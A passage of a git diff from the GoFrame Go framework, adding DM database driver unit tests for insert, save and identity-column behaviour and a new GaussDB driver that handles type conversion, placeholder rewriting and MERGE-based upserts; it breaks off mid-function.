UpdatedTime: time.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
one, err := db.Model(table).Where("id", 666).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["ACCOUNT_NAME"].String(), "name_666")
|
||||
})
|
||||
}
|
||||
|
||||
@ -220,3 +220,33 @@ func createInitTables(len int) []string {
|
||||
}
|
||||
return tables
|
||||
}
|
||||
|
||||
// createTableWithIdentity creates a table with IDENTITY column for LastInsertId testing
|
||||
func createTableWithIdentity(table ...string) (name string) {
|
||||
if len(table) > 0 {
|
||||
name = table[0]
|
||||
} else {
|
||||
name = fmt.Sprintf("random_%d", gtime.Timestamp())
|
||||
}
|
||||
|
||||
dropTable(name)
|
||||
|
||||
if _, err := db.Exec(ctx, fmt.Sprintf(`
|
||||
CREATE TABLE "%s"
|
||||
(
|
||||
"ID" BIGINT IDENTITY(1, 1) NOT NULL,
|
||||
"ACCOUNT_NAME" VARCHAR(128) DEFAULT '' NOT NULL COMMENT 'Account Name',
|
||||
"PWD_RESET" TINYINT DEFAULT 0 NOT NULL,
|
||||
"ENABLED" INT DEFAULT 1 NOT NULL,
|
||||
"DELETED" INT DEFAULT 0 NOT NULL,
|
||||
"ATTR_INDEX" INT DEFAULT 0 ,
|
||||
"CREATED_BY" VARCHAR(32) DEFAULT '' NOT NULL,
|
||||
"CREATED_TIME" TIMESTAMP(6) DEFAULT CURRENT_TIMESTAMP() NOT NULL,
|
||||
"UPDATED_BY" VARCHAR(32) DEFAULT '' NOT NULL,
|
||||
"UPDATED_TIME" TIMESTAMP(6) DEFAULT CURRENT_TIMESTAMP() NOT NULL,
|
||||
NOT CLUSTER PRIMARY KEY("ID")) STORAGE(ON "MAIN", CLUSTERBTR) ;
|
||||
`, name)); err != nil {
|
||||
gtest.Fatal(err)
|
||||
}
|
||||
return
|
||||
}
|
||||
|
||||
185
contrib/drivers/dm/dm_z_unit_model_test.go
Normal file
185
contrib/drivers/dm/dm_z_unit_model_test.go
Normal file
@ -0,0 +1,185 @@
|
||||
// Copyright 2019 gf Author(https://github.com/gogf/gf). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package dm_test
|
||||
|
||||
import (
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/os/gtime"
|
||||
"github.com/gogf/gf/v2/test/gtest"
|
||||
)
|
||||
|
||||
func Test_Model_Save(t *testing.T) {
|
||||
table := createTableWithIdentity()
|
||||
defer dropTable(table)
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
type User struct {
|
||||
Id int
|
||||
AccountName string
|
||||
AttrIndex int
|
||||
}
|
||||
var (
|
||||
user User
|
||||
count int
|
||||
result sql.Result
|
||||
err error
|
||||
)
|
||||
|
||||
// First insert: let IDENTITY auto-generate ID - use Insert() instead of Save()
|
||||
// because Save() requires a primary key in the data for conflict detection
|
||||
result, err = db.Model(table).Data(g.Map{
|
||||
"accountName": "ac1",
|
||||
"attrIndex": 100,
|
||||
}).Insert()
|
||||
|
||||
t.AssertNil(err)
|
||||
n, _ := result.RowsAffected()
|
||||
t.Assert(n, 1)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.AssertGT(user.Id, 0) // ID should be auto-generated
|
||||
t.Assert(user.AccountName, "ac1")
|
||||
t.Assert(user.AttrIndex, 100)
|
||||
|
||||
// Second save: update the existing record using the generated ID
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": user.Id,
|
||||
"accountName": "ac2",
|
||||
"attrIndex": 200,
|
||||
}).OnConflict("id").Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.AccountName, "ac2")
|
||||
t.Assert(user.AttrIndex, 200)
|
||||
|
||||
_, err = db.Model(table).Data(g.Map{
|
||||
"id": user.Id,
|
||||
"accountName": "ac2",
|
||||
"attrIndex": 2000,
|
||||
}).Save()
|
||||
t.AssertNil(err)
|
||||
|
||||
err = db.Model(table).Scan(&user)
|
||||
t.AssertNil(err)
|
||||
t.Assert(user.AccountName, "ac2")
|
||||
t.Assert(user.AttrIndex, 2000)
|
||||
|
||||
count, err = db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_Insert(t *testing.T) {
|
||||
// g.Model.insert not lost default not null column
|
||||
table := "A_tables"
|
||||
createInitTable(table)
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
i := 200
|
||||
data := User{
|
||||
ID: int64(i),
|
||||
AccountName: fmt.Sprintf(`A%dtwo`, i),
|
||||
PwdReset: 0,
|
||||
AttrIndex: 99,
|
||||
CreatedTime: time.Now(),
|
||||
UpdatedTime: time.Now(),
|
||||
}
|
||||
result, err := db.Model(table).Insert(&data)
|
||||
gtest.AssertNil(err)
|
||||
n, err := result.RowsAffected()
|
||||
gtest.AssertNil(err)
|
||||
gtest.Assert(n, 1)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
i := 201
|
||||
data := User{
|
||||
ID: int64(i),
|
||||
AccountName: fmt.Sprintf(`A%dtwoONE`, i),
|
||||
PwdReset: 1,
|
||||
CreatedTime: time.Now(),
|
||||
AttrIndex: 98,
|
||||
UpdatedTime: time.Now(),
|
||||
}
|
||||
result, err := db.Model(table).Data(&data).Insert()
|
||||
gtest.AssertNil(err)
|
||||
n, err := result.RowsAffected()
|
||||
gtest.AssertNil(err)
|
||||
gtest.Assert(n, 1)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_InsertIgnore(t *testing.T) {
|
||||
table := createInitTable()
|
||||
defer dropTable(table)
|
||||
|
||||
// db.SetDebug(true)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
"id": 1,
|
||||
"account_name": fmt.Sprintf(`name_%d`, 777),
|
||||
"pwd_reset": 0,
|
||||
"attr_index": 777,
|
||||
"created_time": gtime.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNil(err)
|
||||
|
||||
one, err := db.Model(table).WherePri(1).One()
|
||||
t.AssertNil(err)
|
||||
t.Assert(one["ACCOUNT_NAME"].String(), "name_1")
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
// "id": 1,
|
||||
"account_name": fmt.Sprintf(`name_%d`, 777),
|
||||
"pwd_reset": 0,
|
||||
"attr_index": 777,
|
||||
"created_time": gtime.Now(),
|
||||
}
|
||||
_, err := db.Model(table).Data(data).InsertIgnore()
|
||||
t.AssertNE(err, nil)
|
||||
|
||||
count, err := db.Model(table).Count()
|
||||
t.AssertNil(err)
|
||||
t.Assert(count, TableSize)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_Model_InsertAndGetId(t *testing.T) {
|
||||
table := createTableWithIdentity()
|
||||
defer dropTable(table)
|
||||
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
data := g.Map{
|
||||
// "id": 1,
|
||||
"account_name": fmt.Sprintf(`name_%d`, 1),
|
||||
"pwd_reset": 0,
|
||||
"attr_index": 1,
|
||||
"created_time": gtime.Now(),
|
||||
}
|
||||
lastId, err := db.Model(table).Data(data).InsertAndGetId()
|
||||
t.AssertNil(err)
|
||||
t.AssertGT(lastId, 0)
|
||||
})
|
||||
|
||||
}
|
||||
@ -6,7 +6,7 @@ replace github.com/gogf/gf/v2 => ../../../
|
||||
|
||||
require (
|
||||
gitee.com/chunanyong/dm v1.8.12
|
||||
github.com/gogf/gf/v2 v2.9.6
|
||||
github.com/gogf/gf/v2 v2.9.7
|
||||
)
|
||||
|
||||
require (
|
||||
|
||||
50
contrib/drivers/gaussdb/gaussdb.go
Normal file
50
contrib/drivers/gaussdb/gaussdb.go
Normal file
@ -0,0 +1,50 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
// Package gaussdb implements gdb.Driver, which supports operations for database GaussDB.
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
_ "gitee.com/opengauss/openGauss-connector-go-pq"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/os/gctx"
|
||||
)
|
||||
|
||||
// Driver is the driver for GaussDB database.
|
||||
type Driver struct {
|
||||
*gdb.Core
|
||||
}
|
||||
|
||||
const (
|
||||
internalPrimaryKeyInCtx gctx.StrKey = "primary_key"
|
||||
defaultSchema string = "public"
|
||||
quoteChar string = `"`
|
||||
)
|
||||
|
||||
func init() {
|
||||
if err := gdb.Register(`gaussdb`, New()); err != nil {
|
||||
panic(err)
|
||||
}
|
||||
}
|
||||
|
||||
// New create and returns a driver that implements gdb.Driver, which supports operations for PostgreSql.
|
||||
func New() gdb.Driver {
|
||||
return &Driver{}
|
||||
}
|
||||
|
||||
// New creates and returns a database object for postgresql.
|
||||
// It implements the interface of gdb.Driver for extra database driver installation.
|
||||
func (d *Driver) New(core *gdb.Core, node *gdb.ConfigNode) (gdb.DB, error) {
|
||||
return &Driver{
|
||||
Core: core,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetChars returns the security char for this type of database.
|
||||
func (d *Driver) GetChars() (charLeft string, charRight string) {
|
||||
return quoteChar, quoteChar
|
||||
}
|
||||
257
contrib/drivers/gaussdb/gaussdb_convert.go
Normal file
257
contrib/drivers/gaussdb/gaussdb_convert.go
Normal file
@ -0,0 +1,257 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"reflect"
|
||||
"strings"
|
||||
|
||||
"github.com/google/uuid"
|
||||
"github.com/lib/pq"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/frame/g"
|
||||
"github.com/gogf/gf/v2/text/gregex"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
"github.com/gogf/gf/v2/util/gconv"
|
||||
)
|
||||
|
||||
// ConvertValueForField converts value to database acceptable value.
|
||||
func (d *Driver) ConvertValueForField(ctx context.Context, fieldType string, fieldValue any) (any, error) {
|
||||
if g.IsNil(fieldValue) {
|
||||
return d.Core.ConvertValueForField(ctx, fieldType, fieldValue)
|
||||
}
|
||||
|
||||
var fieldValueKind = reflect.TypeOf(fieldValue).Kind()
|
||||
|
||||
if fieldValueKind == reflect.Slice {
|
||||
// For pgsql, json or jsonb require '[]'
|
||||
if !gstr.Contains(fieldType, "json") {
|
||||
fieldValue = gstr.ReplaceByMap(gconv.String(fieldValue),
|
||||
map[string]string{
|
||||
"[": "{",
|
||||
"]": "}",
|
||||
},
|
||||
)
|
||||
}
|
||||
}
|
||||
return d.Core.ConvertValueForField(ctx, fieldType, fieldValue)
|
||||
}
|
||||
|
||||
// CheckLocalTypeForField checks and returns corresponding local golang type for given db type.
|
||||
// The parameter `fieldType` is in lower case, like:
|
||||
// `int2`, `int4`, `int8`, `_int2`, `_int4`, `_int8`, `_float4`, `_float8`, etc.
|
||||
//
|
||||
// PostgreSQL type mapping:
|
||||
//
|
||||
// | PostgreSQL Type | Local Go Type |
|
||||
// |------------------------------|---------------|
|
||||
// | int2, int4 | int |
|
||||
// | int8 | int64 |
|
||||
// | uuid | uuid.UUID |
|
||||
// | _int2, _int4 | []int32 | // Note: pq package does not provide Int16Array; int32 is used for compatibility
|
||||
// | _int8 | []int64 |
|
||||
// | _float4 | []float32 |
|
||||
// | _float8 | []float64 |
|
||||
// | _bool | []bool |
|
||||
// | _varchar, _text | []string |
|
||||
// | _char, _bpchar | []string |
|
||||
// | _numeric, _decimal, _money | []float64 |
|
||||
// | _bytea | [][]byte |
|
||||
// | _uuid | []uuid.UUID |
|
||||
func (d *Driver) CheckLocalTypeForField(ctx context.Context, fieldType string, fieldValue any) (gdb.LocalType, error) {
|
||||
var typeName string
|
||||
match, _ := gregex.MatchString(`(.+?)\((.+)\)`, fieldType)
|
||||
if len(match) == 3 {
|
||||
typeName = gstr.Trim(match[1])
|
||||
} else {
|
||||
typeName = fieldType
|
||||
}
|
||||
typeName = strings.ToLower(typeName)
|
||||
switch typeName {
|
||||
case "int2", "int4":
|
||||
return gdb.LocalTypeInt, nil
|
||||
|
||||
case "int8":
|
||||
return gdb.LocalTypeInt64, nil
|
||||
|
||||
case "uuid":
|
||||
return gdb.LocalTypeUUID, nil
|
||||
|
||||
case "_int2", "_int4":
|
||||
return gdb.LocalTypeInt32Slice, nil
|
||||
|
||||
case "_int8":
|
||||
return gdb.LocalTypeInt64Slice, nil
|
||||
|
||||
case "_float4":
|
||||
return gdb.LocalTypeFloat32Slice, nil
|
||||
|
||||
case "_float8":
|
||||
return gdb.LocalTypeFloat64Slice, nil
|
||||
|
||||
case "_bool":
|
||||
return gdb.LocalTypeBoolSlice, nil
|
||||
|
||||
case "_varchar", "_text", "_char", "_bpchar":
|
||||
return gdb.LocalTypeStringSlice, nil
|
||||
|
||||
case "_uuid":
|
||||
return gdb.LocalTypeUUIDSlice, nil
|
||||
|
||||
case "_numeric", "_decimal", "_money":
|
||||
return gdb.LocalTypeFloat64Slice, nil
|
||||
|
||||
case "_bytea":
|
||||
return gdb.LocalTypeBytesSlice, nil
|
||||
|
||||
default:
|
||||
return d.Core.CheckLocalTypeForField(ctx, fieldType, fieldValue)
|
||||
}
|
||||
}
|
||||
|
||||
// ConvertValueForLocal converts value to local Golang type of value according field type name from database.
|
||||
// The parameter `fieldType` is in lower case, like:
|
||||
// `int2`, `int4`, `int8`, `_int2`, `_int4`, `_int8`, `uuid`, `_uuid`, etc.
|
||||
//
|
||||
// See: https://www.postgresql.org/docs/current/datatype.html
|
||||
//
|
||||
// PostgreSQL type mapping:
|
||||
//
|
||||
// | PostgreSQL Type | SQL Type | pq Type | Go Type |
|
||||
// |-----------------|--------------------------------|-----------------|-------------|
|
||||
// | int2 | int2, smallint | - | int |
|
||||
// | int4 | int4, integer | - | int |
|
||||
// | int8 | int8, bigint, bigserial | - | int64 |
|
||||
// | uuid | uuid | - | uuid.UUID |
|
||||
// | _int2 | int2[], smallint[] | pq.Int32Array | []int32 |
|
||||
// | _int4 | int4[], integer[] | pq.Int32Array | []int32 |
|
||||
// | _int8 | int8[], bigint[] | pq.Int64Array | []int64 |
|
||||
// | _float4 | float4[], real[] | pq.Float32Array | []float32 |
|
||||
// | _float8 | float8[], double precision[] | pq.Float64Array | []float64 |
|
||||
// | _bool | boolean[], bool[] | pq.BoolArray | []bool |
|
||||
// | _varchar | varchar[], character varying[] | pq.StringArray | []string |
|
||||
// | _text | text[] | pq.StringArray | []string |
|
||||
// | _char, _bpchar | char[], character[] | pq.StringArray | []string |
|
||||
// | _numeric | numeric[] | pq.Float64Array | []float64 |
|
||||
// | _decimal | decimal[] | pq.Float64Array | []float64 |
|
||||
// | _money | money[] | pq.Float64Array | []float64 |
|
||||
// | _bytea | bytea[] | pq.ByteaArray | [][]byte |
|
||||
// | _uuid | uuid[] | pq.StringArray | []uuid.UUID |
|
||||
//
|
||||
// Note: PostgreSQL also supports these array types but they are not yet mapped:
|
||||
// - _date (date[]), _timestamp (timestamp[]), _timestamptz (timestamptz[])
|
||||
// - _jsonb (jsonb[]), _json (json[])
|
||||
func (d *Driver) ConvertValueForLocal(ctx context.Context, fieldType string, fieldValue any) (any, error) {
|
||||
typeName, _ := gregex.ReplaceString(`\(.+\)`, "", fieldType)
|
||||
typeName = strings.ToLower(typeName)
|
||||
|
||||
// Basic types are mostly handled by Core layer, only handle array types here
|
||||
switch typeName {
|
||||
|
||||
// []int32
|
||||
case "_int2", "_int4":
|
||||
var result pq.Int32Array
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []int32(result), nil
|
||||
|
||||
// []int64
|
||||
case "_int8":
|
||||
var result pq.Int64Array
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []int64(result), nil
|
||||
|
||||
// []float32
|
||||
case "_float4":
|
||||
var result pq.Float32Array
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []float32(result), nil
|
||||
|
||||
// []float64
|
||||
case "_float8":
|
||||
var result pq.Float64Array
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []float64(result), nil
|
||||
|
||||
// []bool
|
||||
case "_bool":
|
||||
var result pq.BoolArray
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []bool(result), nil
|
||||
|
||||
// []string
|
||||
case "_varchar", "_text", "_char", "_bpchar":
|
||||
var result pq.StringArray
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []string(result), nil
|
||||
|
||||
// uuid.UUID
|
||||
case "uuid":
|
||||
var uuidStr string
|
||||
switch v := fieldValue.(type) {
|
||||
case []byte:
|
||||
uuidStr = string(v)
|
||||
case string:
|
||||
uuidStr = v
|
||||
default:
|
||||
uuidStr = gconv.String(fieldValue)
|
||||
}
|
||||
result, err := uuid.Parse(uuidStr)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return result, nil
|
||||
|
||||
// []uuid.UUID
|
||||
case "_uuid":
|
||||
var strArray pq.StringArray
|
||||
if err := strArray.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
result := make([]uuid.UUID, len(strArray))
|
||||
for i, s := range strArray {
|
||||
parsed, err := uuid.Parse(s)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
result[i] = parsed
|
||||
}
|
||||
return result, nil
|
||||
|
||||
// []float64
|
||||
case "_numeric", "_decimal", "_money":
|
||||
var result pq.Float64Array
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return []float64(result), nil
|
||||
|
||||
// [][]byte
|
||||
case "_bytea":
|
||||
var result pq.ByteaArray
|
||||
if err := result.Scan(fieldValue); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return [][]byte(result), nil
|
||||
|
||||
default:
|
||||
return d.Core.ConvertValueForLocal(ctx, fieldType, fieldValue)
|
||||
}
|
||||
}
|
||||
110
contrib/drivers/gaussdb/gaussdb_do_exec.go
Normal file
110
contrib/drivers/gaussdb/gaussdb_do_exec.go
Normal file
@ -0,0 +1,110 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
)
|
||||
|
||||
// DoExec commits the sql string and its arguments to underlying driver
|
||||
// through given link object and returns the execution result.
|
||||
func (d *Driver) DoExec(ctx context.Context, link gdb.Link, sql string, args ...any) (result sql.Result, err error) {
|
||||
var (
|
||||
isUseCoreDoExec bool = false // Check whether the default method needs to be used
|
||||
primaryKey string = ""
|
||||
pkField gdb.TableField
|
||||
)
|
||||
|
||||
// Transaction checks.
|
||||
if link == nil {
|
||||
if tx := gdb.TXFromCtx(ctx, d.GetGroup()); tx != nil {
|
||||
// Firstly, check and retrieve transaction link from context.
|
||||
link = tx
|
||||
} else if link, err = d.MasterLink(); err != nil {
|
||||
// Or else it creates one from master node.
|
||||
return nil, err
|
||||
}
|
||||
} else if !link.IsTransaction() {
|
||||
// If current link is not transaction link, it checks and retrieves transaction from context.
|
||||
if tx := gdb.TXFromCtx(ctx, d.GetGroup()); tx != nil {
|
||||
link = tx
|
||||
}
|
||||
}
|
||||
|
||||
// Check if it is an insert operation with primary key.
|
||||
if value := ctx.Value(internalPrimaryKeyInCtx); value != nil {
|
||||
var ok bool
|
||||
pkField, ok = value.(gdb.TableField)
|
||||
if !ok {
|
||||
isUseCoreDoExec = true
|
||||
}
|
||||
} else {
|
||||
isUseCoreDoExec = true
|
||||
}
|
||||
|
||||
// check if it is an insert operation.
|
||||
if !isUseCoreDoExec && pkField.Name != "" && strings.Contains(sql, "INSERT INTO") {
|
||||
primaryKey = pkField.Name
|
||||
sql += fmt.Sprintf(` RETURNING "%s"`, primaryKey)
|
||||
} else {
|
||||
// use default DoExec
|
||||
return d.Core.DoExec(ctx, link, sql, args...)
|
||||
}
|
||||
|
||||
// Only the insert operation with primary key can execute the following code
|
||||
|
||||
// Sql filtering.
|
||||
sql, args = d.FormatSqlBeforeExecuting(sql, args)
|
||||
sql, args, err = d.DoFilter(ctx, link, sql, args)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
// Link execution.
|
||||
var out gdb.DoCommitOutput
|
||||
out, err = d.DoCommit(ctx, gdb.DoCommitInput{
|
||||
Link: link,
|
||||
Sql: sql,
|
||||
Args: args,
|
||||
Stmt: nil,
|
||||
Type: gdb.SqlTypeQueryContext,
|
||||
IsTransaction: link.IsTransaction(),
|
||||
})
|
||||
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
affected := len(out.Records)
|
||||
if affected > 0 {
|
||||
if !strings.Contains(pkField.Type, "int") {
|
||||
return Result{
|
||||
affected: int64(affected),
|
||||
lastInsertId: 0,
|
||||
lastInsertIdError: gerror.NewCodef(
|
||||
gcode.CodeNotSupported,
|
||||
"LastInsertId is not supported by primary key type: %s", pkField.Type),
|
||||
}, nil
|
||||
}
|
||||
|
||||
if out.Records[affected-1][primaryKey] != nil {
|
||||
lastInsertId := out.Records[affected-1][primaryKey].Int64()
|
||||
return Result{
|
||||
affected: int64(affected),
|
||||
lastInsertId: lastInsertId,
|
||||
}, nil
|
||||
}
|
||||
}
|
||||
|
||||
return Result{}, nil
|
||||
}
|
||||
62
contrib/drivers/gaussdb/gaussdb_do_filter.go
Normal file
62
contrib/drivers/gaussdb/gaussdb_do_filter.go
Normal file
@ -0,0 +1,62 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/text/gregex"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
)
|
||||
|
||||
// DoFilter deals with the sql string before commits it to underlying sql driver.
|
||||
func (d *Driver) DoFilter(
|
||||
ctx context.Context, link gdb.Link, sql string, args []any,
|
||||
) (newSql string, newArgs []any, err error) {
|
||||
var index int
|
||||
// Convert placeholder char '?' to string "$x".
|
||||
newSql, err = gregex.ReplaceStringFunc(`\?`, sql, func(s string) string {
|
||||
index++
|
||||
return fmt.Sprintf(`$%d`, index)
|
||||
})
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
// Handle pgsql jsonb feature support, which contains place-holder char '?'.
|
||||
// Refer:
|
||||
// https://github.com/gogf/gf/issues/1537
|
||||
// https://www.postgresql.org/docs/12/functions-json.html
|
||||
newSql, err = gregex.ReplaceStringFuncMatch(
|
||||
`(::jsonb([^\w\d]*)\$\d)`,
|
||||
newSql,
|
||||
func(match []string) string {
|
||||
return fmt.Sprintf(`::jsonb%s?`, match[2])
|
||||
},
|
||||
)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
newSql, err = gregex.ReplaceString(` LIMIT (\d+),\s*(\d+)`, ` LIMIT $2 OFFSET $1`, newSql)
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
|
||||
// Handle gaussdb INSERT IGNORE.
|
||||
// The IGNORE keyword is removed here, converting the statement to a regular INSERT.
|
||||
// The actual "ignore" behavior (i.e., skipping inserts that would violate constraints)
|
||||
// is implemented at the DoInsert level by checking for existence before inserting.
|
||||
if gstr.HasPrefix(newSql, gdb.InsertOperationIgnore) {
|
||||
// Remove the IGNORE operation prefix and keep as regular INSERT
|
||||
newSql = "INSERT" + newSql[len(gdb.InsertOperationIgnore):]
|
||||
}
|
||||
|
||||
newArgs = args
|
||||
|
||||
return d.Core.DoFilter(ctx, link, newSql, newArgs)
|
||||
}
|
||||
535
contrib/drivers/gaussdb/gaussdb_do_insert.go
Normal file
535
contrib/drivers/gaussdb/gaussdb_do_insert.go
Normal file
@ -0,0 +1,535 @@
|
||||
// Copyright GoFrame Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package gaussdb
|
||||
|
||||
import (
|
||||
"context"
|
||||
"database/sql"
|
||||
"fmt"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/container/gset"
|
||||
"github.com/gogf/gf/v2/database/gdb"
|
||||
"github.com/gogf/gf/v2/errors/gcode"
|
||||
"github.com/gogf/gf/v2/errors/gerror"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
"github.com/gogf/gf/v2/util/gconv"
|
||||
)
|
||||
|
||||
// DoInsert inserts or updates data for given table.
|
||||
// The list parameter must contain at least one record, which was previously validated.
|
||||
func (d *Driver) DoInsert(
|
||||
ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
switch option.InsertOption {
|
||||
case gdb.InsertOptionSave:
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionReplace:
|
||||
// Treat Replace as Save operation
|
||||
return d.doSave(ctx, link, table, list, option)
|
||||
|
||||
// GaussDB does not support InsertIgnore with ON CONFLICT, use MERGE instead
|
||||
case gdb.InsertOptionIgnore:
|
||||
return d.doInsertIgnore(ctx, link, table, list, option)
|
||||
|
||||
case gdb.InsertOptionDefault:
|
||||
// Get table fields to retrieve the primary key TableField object (not just the name)
|
||||
// because DoExec needs the `TableField.Type` to determine if LastInsertId is supported.
|
||||
tableFields, err := d.GetCore().GetDB().TableFields(ctx, table)
|
||||
if err == nil {
|
||||
for _, field := range tableFields {
|
||||
if strings.EqualFold(field.Key, "pri") {
|
||||
pkField := *field
|
||||
ctx = context.WithValue(ctx, internalPrimaryKeyInCtx, pkField)
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
default:
|
||||
}
|
||||
return d.Core.DoInsert(ctx, link, table, list, option)
|
||||
}
|
||||
|
||||
// doSave implements upsert operation using MERGE statement for GaussDB.
|
||||
func (d *Driver) doSave(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
return d.doMergeInsert(ctx, link, table, list, option, true)
|
||||
}
|
||||
|
||||
// doInsertIgnore implements INSERT IGNORE operation using MERGE statement for GaussDB.
|
||||
// It only inserts records when there's no conflict on primary/unique keys.
|
||||
func (d *Driver) doInsertIgnore(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
return d.doMergeInsert(ctx, link, table, list, option, false)
|
||||
}
|
||||
|
||||
// doUpdateThenInsert handles upsert when conflict keys need to be updated.
|
||||
// GaussDB MERGE cannot update columns in ON clause, so we use UPDATE + INSERT instead.
|
||||
func (d *Driver) doUpdateThenInsert(ctx context.Context,
|
||||
link gdb.Link, table string, list gdb.List, option gdb.DoInsertOption,
|
||||
) (result sql.Result, err error) {
|
||||
charL, charR := d.GetChars()
|
||||
var (
|
||||
batchResult = new(gdb.SqlResult)
|
||||
totalAffected int64
|
||||
)
|
||||
|
||||
for _, data := range list {
|
||||
// Build UPDATE statement
|
||||
var (
|
||||
updateFields []string
|
||||
updateValues []any
|
||||
whereFields []string
|
||||
whereValues []any
|
||||
valueIndex = 1
|
||||
)
|
||||
|
||||
// Process OnDuplicateMap to build UPDATE SET clause
|
||||
for updateKey, updateValue := range option.OnDuplicateMap {
|
||||
keyWithChar := charL + updateKey + charR
|
||||
switch v := updateValue.(type) {
|
||||
case gdb.Raw, *gdb.Raw:
|
||||
rawStr := fmt.Sprintf("%v", v)
|
||||
rawStr = strings.ReplaceAll(rawStr, "EXCLUDED.", "")
|
||||
rawStr = strings.ReplaceAll(rawStr, "EXCLUDED ", "")
|
||||
updateFields = append(updateFields, fmt.Sprintf("%s = %s", keyWithChar, rawStr))
|
